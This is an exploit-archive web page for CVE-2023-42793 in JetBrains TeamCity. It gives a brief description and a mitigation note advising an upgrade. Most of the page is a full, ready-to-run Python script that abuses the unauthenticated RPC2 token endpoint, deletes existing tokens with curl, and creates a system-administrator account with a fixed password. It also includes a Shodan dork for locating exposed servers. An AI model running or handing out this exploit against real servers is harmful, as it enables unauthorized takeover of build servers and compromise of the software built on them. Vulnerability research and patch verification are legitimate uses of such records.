Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) - exploit.company
header-logo
Suggest Exploit
vendor:
TeamCity
by:
ByteHunter
6.1
CVSS
HIGH
Remote Code Execution (RCE)
94
CWE
Product Name: TeamCity
Affected Version From: 2023.05.03
Affected Version To: 2023.05.04
Patch Exists: YES
Related CWE: CVE-2023-42793
CPE: a:jetbrains:teamcity:2023.05.3
Other Scripts:
Platforms Tested:
2023

JetBrains TeamCity 2023.05.3 – Remote Code Execution (RCE)

The JetBrains TeamCity version 2023.05.3 is vulnerable to remote code execution (RCE) before version 2023.05.4. An attacker can exploit this vulnerability to create a TeamCity admin account. CVE-2023-42793 has been assigned to this vulnerability.

Mitigation:

To mitigate this vulnerability, it is recommended to update JetBrains TeamCity to version 2023.05.4 or later.
Source

Exploit-DB raw data:

#- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:TeamCity , http.favicon.hash:-1944119648
#- Exploit Author: ByteHunter
#- Vendor: JetBrains
#- Email: 0xByteHunter@proton.me
#- vendor: JetBrains
#- Version: versions before 2023.05.4
#- Tested on: 2023.05.3                      
#- CVE : CVE-2023-42793 

import requests
import argparse
import re
import random
import string
import subprocess  


banner = """
=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================
"""

print(banner)
parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
args = parser.parse_args()

url = args.url

if url.startswith("https://"):
    curl_command = "curl -k"
else:
    curl_command = "curl"

get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
create_user_url = f"{url}/app/rest/users"

create_user_command = ""
token = ""

response = requests.post(get_token_url, verify=False)
if response.status_code == 200:
    match = re.search(r'value="([^"]+)"', response.text)
    if match:
        token = match.group(1)
        print(f"Token: {token}") 
    else:
        print("Token not found in the response")

elif response.status_code == 404:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")
elif response.status_code == 400:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")
else:
    print("Failed to get a token")

if token:
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    random_chars = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))
    username = f"city_admin{random_chars}"
    data = {
        "username": username,
        "password": "Main_password!!**",
        "email": "angry-admin@funnybunny.org",
        "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
    }
    create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "theSecretPass!", "email": "nest@nest", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\''
    create_user_response = requests.post(create_user_url, headers=headers, json=data)
    if create_user_response.status_code == 200:
        print("Successfully exploited!")
        print(f"URL: {url}")
        print(f"Username: {username}")
        print("Password: Main_password!!**")
    else:
        print("Failed to create new admin user")

if args.verbose:
    if response.status_code == 400:
        pass
    else:
        print(f"Final curl command: {create_user_command}")